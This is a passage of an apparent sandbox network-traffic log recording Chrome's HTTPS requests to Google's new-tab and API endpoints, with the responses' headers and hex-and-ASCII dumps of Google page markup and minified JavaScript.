2024-05-04 05:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.68.4	443	7288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:21:53 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	142.250.68.4	443	7288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:21:53 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-04 05:21:54 UTC	967	IN	HTTP/1.1 200 OK Version: 629707551 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 04 May 2024 05:21:54 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-04 05:21:54 UTC	288	IN	Data Raw: 32 33 63 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 51 61 20 67 62 5f 68 62 20 67 62 5f 54 64 20 67 62 5f 6e 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 23cb)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Qa gb_hb gb_Td gb_nd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 72 64 20 67 62 5f 6b 64 20 67 62 5f 78 64 20 67 62 5f 77 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 71 64 20 67 62 5f 67 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4f 63 20 67 62 5f 71 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 Data Ascii: 03e\u003c\/div\u003e\u003cdiv class\u003d\"gb_rd gb_kd gb_xd gb_wd\"\u003e\u003cdiv class\u003d\"gb_qd gb_gd\"\u003e\u003cdiv class\u003d\"gb_Oc gb_q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u00
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4e 63 20 67 62 5f 35 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 71 64 20 67 62 5f 65 64 20 67 62 Data Ascii: label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Nc gb_5d\" aria-hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_qd gb_ed gb
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 22 67 62 5f 55 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 37 63 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 78 20 67 62 5f 4b 20 67 62 5f 6a 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 66 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 53 65 61 72 63 68 20 4c 61 62 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 6c 61 62 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 Data Ascii: "gb_Ud\"\u003e\u003cdiv class\u003d\"gb_7c\"\u003e \u003cdiv class\u003d\"gb_x gb_K gb_j\"\u003e \u003cdiv class\u003d\"gb_f\"\u003e \u003ca class\u003d\"gb_d\" aria-label\u003d\"Search Labs\" href\u003d\"https://labs.google.com/search?source\u003dntp\" t
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 6d 2f 69 6e 74 6c 2f 65 6e 2f 61 62 6f 75 74 2f 70 72 6f 64 75 63 74 73 3f 74 61 62 5c 75 30 30 33 64 72 68 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 68 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 36 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c Data Ascii: m/intl/en/about/products?tab\u003drh\" aria-expanded\u003d\"false\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg class\u003d\"gb_h\" focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M6,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 36 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 48 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 49 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 38 64 20 67 62 5f 4a 63 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4e 63 20 67 62 5f 35 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c Data Ascii: u003d\"gb_6c\"\u003e\u003cdiv class\u003d\"gb_Hc\"\u003e\u003cdiv class\u003d\"gb_Ic\"\u003e\u003ca class\u003d\"gb_8d gb_Jc gb_6d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Nc gb_5d\" aria-hidden\u003d\"true\
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 6e 28 29 7b 69 66 28 21 5f 2e 71 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 7c 7c 21 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 61 5c 75 30 30 33 64 21 31 2c 62 5c 75 30 30 33 64 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 7d 2c 5c 22 70 61 73 73 69 76 65 5c 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 61 5c 75 30 30 33 64 21 30 7d 7d 29 3b 74 72 79 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 28 29 5c 75 30 30 33 64 5c 75 30 30 33 65 7b 7d 3b 5f 2e 71 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 5c 22 74 65 73 74 5c 22 2c 63 2c 62 29 3b 5f 2e 71 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 5c 22 74 65 73 74 5c 22 2c 63 2c 62 29 Data Ascii: n(){if(!_.q.addEventListener\|\|!Object.defineProperty)return!1;var a\u003d!1,b\u003dObject.defineProperty({},\"passive\",{get:function(){a\u003d!0}});try{const c\u003d()\u003d\u003e{};_.q.addEventListener(\"test\",c,b);_.q.removeEventListener(\"test\",c,b)
2024-05-04 05:21:54 UTC	1255	IN	Data Raw: 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 30 5c 75 30 30 33 63 62 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 5f 2e 75 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 74 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 44 5c 22 29 3b 7d 3b 77 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 76 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e Data Ascii: nction(a){const b\u003da.length;if(0\u003cb){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};_.ud\u003dfunction(a){if(a instanceof _.td)return a.i;throw Error(\"D\");};wd\u003dfunction(a){return new vd(b\u003d\u003eb.
2024-05-04 05:21:54 UTC	98	IN	Data Raw: 74 65 64 54 79 70 65 73 3b 69 66 28 21 63 7c 7c 21 63 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 62 3b 74 72 79 7b 62 5c 75 30 30 33 64 63 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 61 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 48 64 2c 63 72 65 61 74 65 53 63 72 69 70 74 0d 0a Data Ascii: tedTypes;if(!c\|\|!c.createPolicy)return b;try{b\u003dc.createPolicy(a,{createHTML:Hd,createScript
2024-05-04 05:21:54 UTC	358	IN	Data Raw: 31 35 66 0d 0a 3a 48 64 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 48 64 7d 29 7d 63 61 74 63 68 28 64 29 7b 5f 2e 71 2e 63 6f 6e 73 6f 6c 65 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 71 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 64 2e 6d 65 73 73 61 67 65 29 7d 72 65 74 75 72 6e 20 62 7d 3b 5c 6e 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 30 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 7d 3b 5f 2e 4b 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 2e 63 61 6c 6c 28 61 2c 62 2c 76 6f 69 64 20 30 29 7d 3b 74 72 79 7b 28 6e 65 77 20 73 65 6c 66 2e 4f 66 66 73 Data Ascii: 15f:Hd,createScriptURL:Hd})}catch(d){_.q.console\u0026\u0026_.q.console.error(d.message)}return b};\n_.Jd\u003dfunction(a,b){return 0\u003d\u003da.lastIndexOf(b,0)};_.Kd\u003dfunction(a,b){return Array.prototype.some.call(a,b,void 0)};try{(new self.Offs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	142.250.68.4	443	7288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:21:53 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-04 05:21:54 UTC	922	IN	HTTP/1.1 200 OK Version: 629707551 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 04 May 2024 05:21:54 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-04 05:21:54 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-05-04 05:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	142.250.72.238	443	7288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-04 05:21:57 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-04 05:21:58 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 121628 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 28 Apr 2024 10:00:08 GMT Expires: Mon, 28 Apr 2025 10:00:08 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 15 Apr 2024 17:34:54 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 501710 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-04 05:21:58 UTC	339	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 62 61 2c 63 61 2c 64 61 2c 6e 61 2c 70 61 2c 76 61 2c 77 61 2c 7a 61 3b 62 61 3d 66 75 6e 63 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);var ba,ca,da,na,pa,va,wa,za;ba=func
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 7d 7d 3b 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c Data Ascii: }};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 63 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 61 28 62 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 5f 2e 75 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 Data Ascii: on"===typeof d&&"function"!=typeof d.prototype[a]&&ca(d.prototype,a,{configurable:!0,writable:!0,value:function(){return pa(ba(this))}})}return a});pa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a};_.ua=function(a){var b="und
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 2e 50 66 29 7b 74 68 69 73 2e 50 66 3d 5b 5d 3b 76 61 72 20 6b 3d 74 68 69 73 3b 74 68 69 73 2e 74 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6b 2e 45 37 28 29 7d 29 7d 74 68 69 73 2e 50 66 2e 70 75 73 68 28 68 29 7d 3b 76 61 72 20 64 3d 5f 2e 6d 61 2e 73 65 74 54 69 6d 65 6f 75 74 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 50 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 64 28 68 2c 30 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 45 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 74 68 69 73 2e 50 66 26 26 74 68 69 73 2e 50 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 50 66 3b 74 68 69 73 2e 50 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d Data Ascii: .Pf){this.Pf=[];var k=this;this.tP(function(){k.E7()})}this.Pf.push(h)};var d=_.ma.setTimeout;b.prototype.tP=function(h){d(h,0)};b.prototype.E7=function(){for(;this.Pf&&this.Pf.length;){var h=this.Pf;this.Pf=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=
2024-05-04 05:21:58 UTC	1255	IN	Data Raw: 74 6f 74 79 70 65 2e 6e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 74 68 69 73 3b 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 68 2e 67 63 61 28 29 29 7b 76 61 72 20 6b 3d 5f 2e 6d 61 2e 63 6f 6e 73 6f 6c 65 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 6b 26 26 6b 2e 65 72 72 6f 72 28 68 2e 46 66 29 7d 7d 2c 0a 31 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 67 63 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 73 56 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 68 3d 5f 2e 6d 61 2e 43 75 73 74 6f 6d 45 76 65 6e 74 2c 6b 3d 5f 2e 6d 61 2e 45 76 65 6e 74 2c 6c 3d 5f 2e 6d 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 6c 29 72 65 74 Data Ascii: totype.nea=function(){var h=this;d(function(){if(h.gca()){var k=_.ma.console;"undefined"!==typeof k&&k.error(h.Ff)}},1)};e.prototype.gca=function(){if(this.sV)return!1;var h=_.ma.CustomEvent,k=_.ma.Event,l=_.ma.dispatchEvent;if("undefined"===typeof l)ret
